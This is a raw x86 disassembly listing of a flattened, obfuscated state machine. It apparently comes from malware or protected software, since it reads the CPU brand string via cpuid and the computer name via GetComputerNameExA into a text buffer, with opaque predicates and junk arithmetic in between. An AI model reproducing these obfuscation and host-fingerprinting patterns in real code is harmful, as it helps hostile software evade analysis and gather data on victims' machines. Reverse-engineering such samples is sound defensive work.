shr ebx, 7
mov dword [esi + 8], ebx
push ebx
call fcn.00440ac8
add esp, 4
push 0x1c9d
push 0x5d4e
push ebx
push 0x12e5
call fcn.00447380
add esp, 0x10
mov eax, 0xefb47bd9
cmp edi, 0x880
jae 0x4437c1
mov eax, 0xbddb934c
mov dword [esi + 4], eax
jmp 0x440ae0
cmp eax, 0x8c6092d4
je 0x44626d
cmp eax, 0x8ca2d796
jne 0x440ae0
mov eax, dword [esi + 0x70]
mov dword [esi + 4], 0x5f687d33
jmp 0x440ae0
mov eax, dword [esi + 0xbc]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xbc]
mov ecx, dword [0x4845e0]
mov dword [eax + 8], ecx
mov ecx, dword [0x4845dc]
mov dword [eax + 4], ecx
mov ecx, dword [0x4845d8]
mov dword [eax], ecx
push 8
push 0x4845e4
push 0xc
push dword [esi + 0xbc]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0xfb2a3d08
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 0xe
or eax, 0x46
imul eax, eax, 0x2e4
add eax, 0x1388
shr eax, 0xb
and eax, 0xfffffffa
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8ba168fd
jmp 0x440ae0
mov dword [esi + 4], 0xac54653c
jmp 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0xa3
add edi, eax
mov dword [esi + 8], edi
push 0x3704
push 0x5ec
push 0x62f8
push edi
call fcn.00447260
add esp, 0x10
mov eax, 0x4502b9a
cmp edi, 0xe7
jge 0x4438a7
mov eax, 0x492e879
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0xd2959f27
jmp 0x440ae0
push dword [esi + 0x30]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10c]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x9d673473
jmp 0x440ae0
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0xa188b9d6
jmp 0x440ae0
mov dword [esi + 8], 0
mov dword [esi + 4], 0x1347eb9c
jmp 0x440ae0
imul edi, dword [esi + 8], 0x750
add edi, 0x4d3d0
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
call fcn.00408e87
mov eax, 0x8a146f18
cmp edi, 0xe5
jge 0x443941
mov eax, 0xb86dd3b6
mov dword [esi + 4], eax
jmp 0x440ae0
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x1f]
imul eax, eax
add ecx, 0xfffffef3
imul edx, eax, 0x7dc3
dec edx
shr ecx, 4
and ecx, 0xffff800
mov dword [esi + 0xc], ecx
mov ecx, 0xac54653c
cmp edx, eax
je 0x443979
mov ecx, 0x2d64ae0
mov dword [esi + 4], ecx
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 0xa
add eax, 0x117b6
shr eax, 0xe
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd4b78af1
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 4
and eax, 0xffff800
or eax, 0xb9
mov dword [esi + 8], eax
push eax
call fcn.00440ac8
add esp, 4
mov dword [esi + 4], 0xf95480d7
jmp 0x440ae0
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x1a0], eax
mov dword [esi + 4], 0x3f185db8
jmp 0x440ae0
push dword [esi + 0x38]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x73bde01b
jmp 0x440ae0
mov eax, dword [esi + 0x1d0]
mov ecx, dword [esi + 0x1d8]
mov dword [ecx], eax
mov eax, dword [esi + 0x64]
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xf0], eax
mov dword [esi + 4], 0xcd6b4b46
jmp 0x440ae0
imul ecx, dword [esi + 8], 0x10e100
add ecx, 0x1f2580
mov dword [esi + 8], ecx
mov eax, 0xa188e093
cmp ecx, 0x76
jl 0x443a52
mov eax, 0xcde5221a
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 6
and eax, 0xffff8000
lea ecx, [eax + 0x13e]
lea ecx, [ecx + ecx*8]
lea ecx, [ecx + ecx*2]
add eax, ecx
add eax, 0x13e
jmp 0x443d8a
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1a4], eax
mov dword [esi + 4], 0x6fa8cbcf
jmp 0x440ae0
mov edi, dword [esi + 8]
mov eax, 0xfffffe27
add edi, eax
shr edi, 0xb
mov dword [esi + 8], edi
call fcn.00408e87
push 0x1d1a
push 0x4cf9
push edi
push 0x2661
call fcn.00447380
add esp, 0x10
mov eax, 0xc5f299bf
cmp edi, 0xe9
je 0x443ae6
mov eax, 0x5b668583
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 0xd
imul eax, eax, 0x92400
add eax, 0xfff75d00
mov dword [esi + 8], eax
mov dword [esi + 4], 0x5ead8a11
jmp 0x440ae0
push dword [esi + 0x6c]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x11c]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x8ca2d796
jmp 0x440ae0
mov dword [esi + 4], 0xa0be244
jmp 0x440ae0
mov eax, dword [esi + 0x1a4]
mov ecx, dword [esi + 0x1ac]
mov dword [ecx], eax
mov dword [esi + 4], 0x835148af
jmp 0x440ae0
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0x1557802
jmp 0x440ae0
mov eax, dword [esi + 8]
lea edi, [eax + eax]
add edi, 0xfffffece
mov dword [esi + 8], edi
push edi
call fcn.0044629b
add esp, 4
push edi
call fcn.00440ac8
add esp, 4
mov dword [esi + 4], 0x5b668583
jmp 0x440ae0
imul ecx, dword [esi + 8], 0x77
add ecx, 0x16
mov dword [esi + 8], ecx
mov eax, 0xac57f66e
cmp ecx, 0x65
jge 0x443bba
mov eax, 0xd5b39c82
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x178]
mov eax, dword [eax]
mov dword [esi + 0x17c], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb0], eax
mov eax, dword [esi + 0xb0]
add eax, 0xd
mov dword [esi + 0x180], eax
mov dword [esi + 4], 0xc0a7ca6d
jmp 0x440ae0
mov ecx, dword [esi + 8]
add ecx, 0x25
mov dword [esi + 8], ecx
mov eax, 0xa0be244
cmp ecx, 0x90
jl 0x443c12
mov eax, 0x5ca5926
mov dword [esi + 4], eax
jmp 0x440ae0
imul edi, dword [esi + 8], 0x3478800
add edi, 0xc20c007e
mov dword [esi + 8], edi
push edi
call fcn.0044629b
add esp, 4
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0xc5f299bf
cmp edi, 0xd9
jl 0x443c4e
mov eax, 0x5ead8a11
mov dword [esi + 4], eax
jmp 0x440ae0
mov ecx, dword [esi + 0xc]
mov eax, 0xaf
add ecx, eax
shr ecx, 0xf
imul eax, ecx, 0xef
imul ecx, ecx, 0x75a2
imul eax, eax
add ecx, 6
imul edx, eax, 0x4d2d
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xb5a096ce
cmp edx, eax
je 0x443c8d
mov ecx, 0x95cdd8ea
mov dword [esi + 4], ecx
jmp 0x440ae0
mov eax, dword [esi + 0x190]
mov word [eax], 0
push 0x18
push str.N
push dword [esi + 0xb8]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0x23139ff4
jmp 0x440ae0
mov eax, dword [esi + 0xa0]
movzx ecx, word [0x48450a]
mov word [eax + 8], cx
mov ecx, dword [0x484506]
mov dword [eax + 4], ecx
mov ecx, dword [0x484502]
mov dword [eax], ecx
push 8
push 0x48450c
push 0xa
push dword [esi + 0xa0]
call fcn.00447380
add esp, 0x10
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0xa0]
mov edx, dword [ecx + 7]
mov dword [eax + 7], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0xc8d4dac3
jmp 0x440ae0
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xc0], eax
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], ecx
mov dword [esi + 0xcc], edx
mov dword [esi + 4], 0x2d26e45e
jmp 0x440ae0
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x84]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x840a5579
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0xe
or eax, 0xfa
imul eax, eax, 0x114000
add eax, 0xe4000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x79c5bcd5
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x6444
add eax, 0xdb54c
shr eax, 0xe
imul eax, eax, 0xc1
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x485de71b
jmp 0x440ae0
mov eax, dword [esi + 0x3c]
mov dword [esi + 4], 0x37538745
jmp 0x440ae0
push dword [esi + 0x118]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov dword [esi + 0x194], eax
mov dword [esi + 4], 0xd7a671c
jmp 0x440ae0
mov eax, dword [esi + 0xc]
lea eax, [eax*4 + 0xa50]
shr eax, 0xd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc5e72542
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 0xc
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x48ab
dec edx
add eax, 0x29
mov dword [esi + 0xc], eax
mov eax, 0x1f8f41c8
cmp ecx, edx
je 0x443e3c
mov eax, 0x742e0221
mov dword [esi + 4], eax
jmp 0x440ae0
push 6
push 0x478078
push 0xc
push dword [esi + 0x98]
call fcn.00447260
add esp, 0x10
push dword [esi + 0x98]
push 0x23fef64a
call fcn.0044b10c
add esp, 8
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0xc5870a4e
jmp 0x440ae0
mov edi, dword [esi + 8]
shl edi, 4
add edi, 0xfffff3f0
mov dword [esi + 8], edi
call fcn.00408e87
push edi
push 0x4779
push 0x1968
push 0x1282
call fcn.00447260
add esp, 0x10
mov eax, 0x742e0221
cmp edi, 0x5a
jae 0x443ebb
mov eax, 0xe5ad6a97
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 6
imul eax, eax, 0xc1
lea ecx, [eax + 0x97]
imul eax, eax
shr ecx, 2
imul edx, eax, 0x6e23
dec edx
imul ecx, ecx, 0x1b000
mov dword [esi + 0xc], ecx
mov ecx, 0x79ae4a35
cmp edx, eax
je 0x443ef9
mov ecx, 0xdc89495d
mov dword [esi + 4], ecx
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 0xe
imul edi, eax, 0x6400
or edi, 0xeb
mov dword [esi + 8], edi
call fcn.00408e87
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0x4b5110d8
cmp edi, 0xfc
jb 0x443f36
mov eax, 0xac54653c
mov dword [esi + 4], eax
jmp 0x440ae0
mov ecx, dword [esi + 8]
mov eax, 0xf4
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0x73bde01b
cmp ecx, 0x43
jge 0x443f5a
mov eax, 0x862db538
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x14c]
mov byte [eax], 0
mov dword [esi + 4], 0x2d53bf60
jmp 0x440ae0
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a8]
mov dword [eax + 0xc], ecx
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xd0], eax
mov dword [esi + 0xd4], ebx
mov dword [esi + 0xd8], ecx
mov dword [esi + 0xdc], edx
mov dword [esi + 4], 0xcc429f6a
jmp 0x440ae0
mov edi, dword [esi + 8]
add edi, 0x2d
mov ebx, edi
shr ebx, 0xd
mov dword [esi + 8], ebx
call fcn.00408e87
push 0x1157
push 0x3a5f
push ebx
push 0x5da
call fcn.00447380
add esp, 0x10
mov eax, 0x9e2fa6d3
cmp edi, 0x1bc000
jae 0x443fed
mov eax, 0x2e71e5ca
mov dword [esi + 4], eax
jmp 0x440ae0
imul edi, dword [esi + 8], 0x1fe0
add edi, 0x7b91a
mov dword [esi + 8], edi
call fcn.00408e87
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0x2231c25
cmp edi, 0x3b
jae 0x444022
mov eax, 0xd4b78af1
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 2
add eax, 0xffffffb6
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2ca3
shl eax, 0xf
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x8ba168fd
cmp edx, ecx
je 0x444053
mov eax, 0x547269cd
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0xc]
lea eax, [eax*8 - 0x23]
shr eax, 0xa
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
add ecx, eax
add ecx, 0xfffffcf4
mov edx, eax
imul edx, eax
imul edi, edx, 0x5213
dec edi
mov dword [esi + 0xc], ecx
mov eax, 0xd940915c
cmp edi, edx
je 0x444093
mov eax, 0xaa5d8f45
mov dword [esi + 4], eax
jmp 0x440ae0
mov edi, dword [esi + 8]
shr edi, 9
add edi, 0xffffff98
shr edi, 1
add edi, 0xb7
mov dword [esi + 8], edi
push 0x484d
push edi
push 0x3e70
push 0x3aa8
call fcn.00447260
add esp, 0x10
mov eax, 0x2d53bf60
cmp edi, 0xd0
je 0x4440d9
mov eax, 0x9e9f1ead
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x19c00
or eax, 0x364
lea edi, [eax + eax*2]
shr edi, 0xb
add edi, 0x7a
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
push 0x5331
push edi
push 0x3952
push 0x1df0
call fcn.00447260
add esp, 0x10
mov eax, 0xdc89495d
cmp edi, 0xf1
je 0x44412c
mov eax, 0x9ef395ad
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x9416
add eax, 0xe1056e
mov dword [esi + 8], eax
push eax
push 0x3b7d
push 0x2aff
push 0x32bd
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0x42ec90ab
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 5
and eax, 0x1fffff
mov ecx, eax
shr ecx, 0x10
imul eax, eax
imul edx, eax, 0x2d75
dec edx
imul ecx, ecx, 0xe3
mov dword [esi + 0xc], ecx
mov ecx, 0x61d10509
cmp eax, edx
je 0x444198
mov ecx, 0xc443767f
mov dword [esi + 4], ecx
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 5
and eax, 0xffffff
add eax, 0xffffffa1
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf4593bdd
jmp 0x440ae0
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0xfc82ddc8
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0x140084
mov dword [esi + 8], eax
mov dword [esi + 4], 0x2d0400f9
jmp 0x440ae0
mov eax, dword [esi + 0xb0]
mov cl, byte [0x484588]
mov byte [eax + 0xc], cl
mov ecx, dword [0x484584]
mov dword [eax + 8], ecx
mov ecx, dword [0x484580]
mov dword [eax + 4], ecx
mov ecx, dword [0x48457c]
mov dword [eax], ecx
push 6
push 0x484589
push 0xd
push dword [esi + 0xb0]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0x3fa03bfc
jmp 0x440ae0
push dword [esi + 0x68]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x29a52922
jmp 0x440ae0
push dword [esi + 0x64]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x14]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0x507da226
jmp 0x440ae0
mov eax, dword [esi + 0xc]
add eax, 0xffffffb9
shr eax, 0xd
imul ecx, eax, 0x4d
imul ecx, ecx
imul edx, ecx, 0x323b
dec edx
imul eax, eax, 0x26800
mov dword [esi + 0xc], eax
mov eax, 0x83d6949d
cmp edx, ecx
je 0x4442b3
mov eax, 0x909d14cd
mov dword [esi + 4], eax
jmp 0x440ae0
push dword [esi + 0x40]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x3c]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
mov dword [esi + 4], 0xc99362eb
jmp 0x440ae0
mov eax, dword [esi + 0xf8]
mov byte [eax + 0x1d], 0
mov edi, 0x1d
push edi
push 0x484600
push dword [esi + 0xf8]
call fcn.00450060
add esp, 0xc
push 6
push 0x48461d
push edi
push dword [esi + 0xf8]
call fcn.00447380
add esp, 0x10
mov dword [esi + 4], 0x6299c876
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x2d9dc38
add eax, 0xd3467c0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x1d4db8fc
jmp 0x440ae0
imul ecx, dword [esi + 8], 0x18800
mov dword [esi + 8], ecx
mov eax, 0x54118fde
cmp ecx, 0xbc
jl 0x44435f
mov eax, 0xa0be244
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x1220
shr eax, 6
imul edi, eax, 0xf9
mov dword [esi + 8], edi
push edi
call fcn.0044629b
add esp, 4
push 0x2bd
push 0x2c0c
push 0x4218
push edi
call fcn.00447260
add esp, 0x10
mov eax, 0x5ead8a11
cmp edi, 0x91
jae 0x4443ad
mov eax, 0x79ae4a35
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 5
add eax, 0x1ff86000
and eax, 0x1ffff000
imul edi, eax, 0x3b8
mov dword [esi + 8], edi
push 0x6a9
push 0x33b5
push edi
push 0x368c
call fcn.00447260
add esp, 0x10
mov eax, 0xbddb934c
cmp edi, 0xec
jl 0x4443f8
mov eax, 0x9e2fa6d3
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*4]
add eax, ecx
add eax, 0xffffffd4
shr eax, 0xe
imul edi, eax, 0x252
mov dword [esi + 8], edi
push 0x5146
push 0x2ebe
push 0x3a4c
push edi
call fcn.00447380
add esp, 0x10
push 0x5aed
push 0x3e5e
push edi
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x472cf7c2
cmp edi, 0xda
jae 0x444457
mov eax, 0xafec42fd
mov dword [esi + 4], eax
jmp 0x440ae0
push dword [esi + 0x18]
push dword [esi + 0x3c]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x40]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xa4], eax
mov eax, dword [esi + 0xa4]
add eax, 0xd
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0x6023b85b
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 9
and eax, 0x1ffffe00
add eax, 0xffffffbd
shr eax, 0xd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x91b2dfcd
jmp 0x440ae0
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 6
add eax, 0xfffffe58
mov dword [esi + 8], eax
mov eax, 0x367e9265
cmp ecx, 0x7980
jb 0x4444d8
mov eax, 0xb5a096ce
mov dword [esi + 4], eax
jmp 0x440ae0
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0xb3]
imul eax, eax
imul edx, eax, 0x1921
dec edx
shl ecx, 7
add ecx, 0xffff5200
mov dword [esi + 0xc], ecx
mov ecx, 0x79ae4a35
cmp eax, edx
je 0x44450d
mov ecx, 0x79dcd6a1
mov dword [esi + 4], ecx
jmp 0x440ae0
push dword [esi + 0x34]
push dword [esi + 0x10]
call fcn.004613d0
add esp, 8
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x82f9eba8
jmp 0x440ae0
mov dword [esi + 4], 0x3b28e3c1
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shl eax, 0xf
add eax, 0xa7c60
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xab2fa7c8
jmp 0x440ae0
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x194]
mov dword [esi + 0x198], eax
mov dword [esi + 4], 0x37d8f3f6
jmp 0x440ae0
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x44]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x48]
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xa8], eax
mov dword [esi + 4], 0x463a114b
jmp 0x440ae0
mov dword [esi + 4], 0xdd1c1f7
jmp 0x440ae0
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x15c]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0x88d85f77
jmp 0x440ae0
mov dword [esi + 4], 0xa7071fc1
jmp 0x440ae0
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x1dc], eax
mov dword [esi + 4], 0xbf3ab78d
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 1
and eax, 0xfffffffe
imul eax, eax, 0x7c65
add eax, 0xffffffb9
shr eax, 0xf
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x79c5bcd5
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x4b000
add eax, 0xffffd16b
shr eax, 0xb
add eax, 0xcd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd90fc93a
jmp 0x440ae0
mov eax, dword [esi + 8]
lea edi, [eax*8 + 0x3f8]
mov ebx, edi
shr ebx, 5
mov dword [esi + 8], ebx
call fcn.00408e87
push ebx
push 0x198a
push 0x5850
call fcn.0042e7cb
add esp, 0xc
mov eax, 0x871c626
cmp edi, 0xc40
jae 0x44468d
mov eax, 0xe182b0cc
mov dword [esi + 4], eax
jmp 0x440ae0
mov edi, 0xa
push edi
push dword [esi + 0x100]
push dword [esi + 0x124]
call fcn.0045e738
add esp, 0xc
push edi
push dword [esi + 0x104]
push dword [esi + 0x128]
call fcn.0045e738
add esp, 0xc
push 1
push 0x4000
call fcn.004600e3
add esp, 8
mov dword [esi + 0x10], eax
push dword [esi + 0x10]
call fcn.004615b0
add esp, 4
mov dword [esi + 0x12c], eax
mov dword [esi + 4], 0x8fe8d881
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x1590
add eax, 0x117c40
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb0e1b55f
jmp 0x440ae0
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x98], eax
mov dword [esi + 4], 0xb5738bbf
jmp 0x440ae0
mov eax, dword [esi + 0x2c]
mov dword [eax], 0x8000
mov dword [esi + 4], 0xa7055612
jmp 0x440ae0
mov dword [esi + 4], 0x34436423
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 0xf
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x219d
add eax, 0xffffffa8
dec edx
shr eax, 0xe
mov dword [esi + 0xc], eax
mov eax, 0x141ea817
cmp edx, ecx
je 0x444770
mov eax, 0x85bf4554
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shl eax, 0xc
add eax, 0xfffb4f3c
mov dword [esi + 8], eax
push 0x55f3
push eax
push 0x20e3
push 0x34c4
call fcn.00447260
add esp, 0x10
mov dword [esi + 4], 0x8a146f18
jmp 0x440ae0
imul eax, dword [esi + 8], 0x6b
add eax, 0xffffed31
shr eax, 0xd
and eax, 0xfffffffe
lea ecx, [eax + eax*2]
lea eax, [eax + eax*2]
add eax, 0xffffff9c
mov dword [esi + 8], eax
mov eax, 0x367e9265
cmp ecx, 0xdc
jb 0x4447d7
mov eax, 0xac54653c
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*4]
add ecx, 0xc2a
mov dword [esi + 8], ecx
mov eax, 0x73bde01b
cmp ecx, 0x37
jb 0x444800
mov eax, 0xa2a4580b
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 8]
shr eax, 0xc
imul edi, eax, 0xfc
shr edi, 0xf
add edi, 0xffffff80
mov eax, edi
shr eax, 4
mov dword [esi + 8], eax
push eax
call fcn.00440ac8
add esp, 4
mov eax, 0xc291bead
cmp edi, 0xdc0
jae 0x44483d
mov eax, 0x58c0e25c
mov dword [esi + 4], eax
jmp 0x440ae0
imul edi, dword [esi + 8], 0xdf
add edi, 0x21f9
mov dword [esi + 8], edi
push 0x4d28
push 0x3b34
push edi
call fcn.0042e7cb
add esp, 0xc
push edi
call fcn.0044629b
add esp, 4
mov eax, 0xc99362eb
cmp edi, 0xdb
jb 0x444883
mov eax, 0x840a5579
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x53000
shr eax, 9
imul ecx, eax, 0xb3
mov dword [esi + 8], ecx
mov eax, 0x5da9f2f
cmp ecx, 0x6f
jb 0x4448ad
mov eax, 0xd339d5fe
mov dword [esi + 4], eax
jmp 0x440ae0
mov dword [esi + 4], 0x59d26614
jmp 0x440ae0
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x20], eax
mov dword [esi + 4], 0xe2605302
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 1
add eax, 0xffffff9b
shr eax, 5
lea ecx, [eax + 0x3a]
imul eax, eax
shr ecx, 0xe
imul edx, eax, 0x842b
dec edx
add ecx, 0x37
mov dword [esi + 0xc], ecx
mov ecx, 0xca7c7964
cmp eax, edx
je 0x444910
mov ecx, 0x74fd6f1f
mov dword [esi + 4], ecx
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x90000000
or eax, 0xcf
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xed0da876
jmp 0x440ae0
imul edi, dword [esi + 8], 0xfd0
add edi, 0xfff9c9a2
mov dword [esi + 8], edi
push edi
call fcn.00440ac8
add esp, 4
push edi
call fcn.00440ac8
add esp, 4
mov eax, 0x8a26991
cmp edi, 0xe0
jge 0x444967
mov eax, 0x68b1d8d0
mov dword [esi + 4], eax
jmp 0x440ae0
mov eax, dword [esi + 0x144]
mov word [eax], 0
push 0x18
push 0x478040
push dword [esi + 0x90]
call fcn.00450060
add esp, 0xc
mov dword [esi + 4], 0x15d9955a
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 9
imul ecx, eax, 0x68
imul eax, eax
imul edx, eax, 0x7791
dec edx
add ecx, 0xffffab80
mov dword [esi + 0xc], ecx
mov ecx, 0x67a56864
cmp eax, edx
je 0x4449c5
mov ecx, 0x8a146f18
mov dword [esi + 4], ecx
jmp 0x440ae0
push 0x14
push 0x478000
push dword [esi + 0x78]
call fcn.00450060
add esp, 0xc
push 4
push 0x478014
push 0xa
push dword [esi + 0x78]
call fcn.00447260
add esp, 0x10
mov dword [esi + 4], 0xd62d79db
jmp 0x440ae0
mov eax, dword [esi + 0xc]
shr eax, 1
and eax, 0xffffff
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5101437e
jmp 0x440ae0
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1cc]
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x14]
add eax, 0x2c
mov dword [esi + 0x1d8], eax
mov dword [esi + 4], 0x865d8d32
jmp 0x440ae0
imul edi, dword [esi + 8], 0x2d8
add edi, 0xffff1f58
mov dword [esi + 8], edi
push edi
push 0x644
push 0x232c
push 0x350c
call fcn.00447260
add esp, 0x10
push edi
call fcn.0044629b
add esp, 4
mov eax, 0xd3b5b038
cmp edi, 0x36
jae 0x444a7c
mov eax, 0xc20b7090
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 8], 0x4f1a
add eax, 0xffffdfc6
shr eax, 0xc
imul ecx, eax, 0xc1
mov dword [esi + 8], ecx
mov eax, 0x79507f6f
cmp ecx, 0xb2
jb 0x444aae
mov eax, 0xc99362eb
mov dword [esi + 4], eax
jmp 0x440ae0
imul eax, dword [esi + 0xc], 0x620000
shr eax, 0xd
lea eax, [eax + eax*8]
add eax, 0x1cb
shr eax, 1
and eax, 0x7ffc00
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe9f6d0e6
jmp 0x440ae0
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xac], eax
mov dword [esi + 4], 0x730eba7f
jmp 0x440ae0
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0x6bbfb69a
jmp 0x440ae0
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x82d3071f
jmp 0x440ae0
